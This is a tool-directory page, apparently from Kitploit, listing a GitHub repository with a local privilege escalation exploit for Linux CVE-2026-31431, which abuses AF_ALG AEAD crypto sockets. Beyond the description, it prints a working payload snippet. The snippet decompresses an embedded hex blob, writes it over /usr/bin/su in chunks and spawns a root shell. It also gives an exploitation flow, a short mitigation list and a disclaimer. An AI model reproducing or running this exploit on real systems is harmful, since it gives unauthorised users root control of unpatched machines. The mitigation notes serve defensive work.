Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431 — Local privilege escalation exploit for CVE-2026-31431, abusing AF_ALG AEAD socket handling to achieve root shell access on vulnerable Linux kernels. | Kitploit
Tools/GitHubGitHub/adityabhatt3010/cve-2026-31431
Privilege EscalationExploit FrameworksExploitationBinary Exploitation
GitHubadityabhatt3010/cve-2026-31431

CVE-2026-31431

Local privilege escalation exploit for CVE-2026-31431, abusing AF_ALG AEAD socket handling to achieve root shell access on vulnerable Linux kernels.

View Repository
33 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

📌 CVE-2026-31431 – Privilege Escalation via AEAD Crypto Socket Misuse

🧠 Overview

CVE-2026-31431 is a Linux privilege escalation vulnerability that abuses the AF_ALG (kernel crypto API) interface. By crafting a malicious interaction with AEAD (Authenticated Encryption with Associated Data) sockets, an attacker can escalate privileges and execute code as root.

This vulnerability leverages improper handling of cryptographic socket operations, allowing controlled memory manipulation and eventual privilege escalation.


⚠️ Impact

  • Local Privilege Escalation
  • Root shell access (/usr/bin/su)
  • Affects systems with vulnerable kernel crypto implementations

🔍 Technical Breakdown

The exploit:

  • Creates an AF_ALG socket

  • Binds to:

    root@kitploit:~
    authenc(hmac(sha256),cbc(aes))
    
  • Uses crafted payloads via setsockopt and sendmsg

  • Triggers unintended kernel behavior

  • Drops into root shell via:

    root@kitploit:~
    g.system("su")
    

Key indicators:

  • Use of socket(38,5,0) → AF_ALG
  • AEAD manipulation
  • Controlled memory writes via compressed payload (zlib)

💻 Proof of Concept (PoC)

PoC

🔑 Core Payload Snippet:

**Disclaimer: I do not own this PoC. It's Only for Educational purposes for testing in environments where the permission is available. The Author/ owner will not be reponsible for any misuse. **

root@kitploit:~
f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i<len(e):
    c(f,i,e[i:i+4])
    i+=4

g.system("su")

🚀 Exploitation Flow

  1. Initialize crypto socket
  2. Configure AEAD parameters
  3. Send crafted payload
  4. Trigger kernel flaw
  5. Overwrite execution flow
  6. Spawn root shell

🛡️ Mitigation

  • Patch kernel to latest version
  • Restrict access to AF_ALG sockets
  • Use LSM (AppArmor/SELinux) policies
  • Monitor abnormal crypto API usage

🙏 Credits

  • PoC: https://github.com/theori-io/copy-fail-CVE-2026-31431

Download Tool